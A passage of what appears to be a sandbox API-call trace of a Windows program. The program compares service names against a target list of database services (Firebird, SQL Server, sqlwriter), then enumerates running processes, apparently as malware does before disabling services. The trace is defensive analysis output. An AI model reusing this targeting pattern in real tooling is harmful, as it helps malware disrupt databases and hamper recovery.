(lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0225.490] lstrlenW (lpString="gpsvc") returned 5 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0225.490] lstrlenW (lpString="iphlpsvc") returned 8 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0225.490] lstrlenW (lpString="KeyIso") returned 6 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0225.490] lstrlenW (lpString="LanmanServer") returned 12 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0225.490] lstrlenW (lpString="LanmanWorkstation") returned 17 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0225.490] lstrlenW (lpString="lfsvc") returned 5 [0225.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0225.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0225.490] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0225.490] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0225.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0225.491] lstrlenW (lpString="lmhosts") returned 7 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0225.491] lstrlenW (lpString="LSM") returned 3 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0225.491] lstrlenW (lpString="MpsSvc") returned 6 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0225.491] lstrlenW (lpString="NcbService") returned 10 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0225.491] lstrlenW (lpString="netprofm") returned 8 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0225.491] lstrlenW (lpString="NgcSvc") returned 6 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0225.491] lstrlenW (lpString="NlaSvc") returned 6 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0225.491] lstrlenW (lpString="nsi") returned 3 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0225.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0225.491] lstrlenW (lpString="PcaSvc") returned 6 [0225.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0225.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0225.491] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0225.491] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0225.492] lstrlenW (lpString="PlugPlay") returned 8 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0225.492] lstrlenW (lpString="Power") returned 5 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0225.492] lstrlenW (lpString="ProfSvc") returned 7 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0225.492] lstrlenW (lpString="RpcEptMapper") returned 12 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0225.492] lstrlenW (lpString="RpcSs") returned 5 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0225.492] lstrlenW (lpString="SamSs") returned 5 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0225.492] lstrlenW (lpString="Schedule") returned 8 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0225.492] lstrlenW (lpString="SecurityHealthService") returned 21 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0225.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0225.492] lstrlenW (lpString="SENS") returned 4 [0225.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0225.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0225.492] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0225.492] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0225.493] lstrlenW (lpString="ShellHWDetection") returned 16 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0225.493] lstrlenW (lpString="Spooler") returned 7 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0225.493] lstrlenW (lpString="StateRepository") returned 15 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0225.493] lstrlenW (lpString="SysMain") returned 7 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0225.493] lstrlenW (lpString="SystemEventsBroker") returned 18 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0225.493] lstrlenW (lpString="Themes") returned 6 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0225.493] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0225.493] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0225.493] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0225.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1 [0225.493] lstrlenW (lpString="TokenBroker") returned 11 [0225.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1 [0225.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1 [0225.493] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1 [0225.494] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1 [0225.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40e4d08 | out: hHeap=0x4f0000) returned 1 [0225.494] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x44c [0225.498] Process32FirstW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.498] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.499] lstrlenW (lpString="System") returned 6 [0225.499] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.499] lstrlenW (lpString="smss.exe") returned 8 [0225.499] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.499] lstrlenW (lpString="csrss.exe") returned 9 [0225.499] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.500] lstrlenW (lpString="wininit.exe") returned 11 [0225.500] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.500] lstrlenW (lpString="csrss.exe") returned 9 [0225.500] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.500] lstrlenW (lpString="winlogon.exe") returned 12 [0225.500] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.501] lstrlenW (lpString="services.exe") returned 12 [0225.501] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.501] lstrlenW (lpString="lsass.exe") returned 9 [0225.501] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.501] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0225.501] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.502] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0225.502] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.502] lstrlenW (lpString="svchost.exe") returned 11 [0225.502] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.502] lstrlenW (lpString="svchost.exe") returned 11 [0225.502] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.756] lstrlenW (lpString="dwm.exe") returned 7 [0225.756] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.757] lstrlenW (lpString="svchost.exe") returned 11 [0225.757] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.757] lstrlenW (lpString="svchost.exe") returned 11 [0225.757] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.757] lstrlenW (lpString="svchost.exe") returned 11 [0225.757] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.758] lstrlenW (lpString="svchost.exe") returned 11 [0225.758] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.758] lstrlenW (lpString="svchost.exe") returned 11 [0225.758] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.758] lstrlenW (lpString="svchost.exe") returned 11 [0225.758] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.759] lstrlenW (lpString="svchost.exe") returned 11 [0225.759] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.759] lstrlenW (lpString="svchost.exe") returned 11 [0225.759] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.759] lstrlenW (lpString="svchost.exe") returned 11 [0225.759] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.760] lstrlenW (lpString="svchost.exe") returned 11 [0225.760] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.760] lstrlenW (lpString="spoolsv.exe") returned 11 [0225.760] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.760] lstrlenW (lpString="svchost.exe") returned 11 [0225.760] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.760] lstrlenW (lpString="audiodg.exe") returned 11 [0225.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.761] lstrlenW (lpString="svchost.exe") returned 11 [0225.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0225.761] lstrlenW (lpString="sihost.exe") returned 10 [0225.761] Process32NextW (in: hSnapshot=0x44c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, 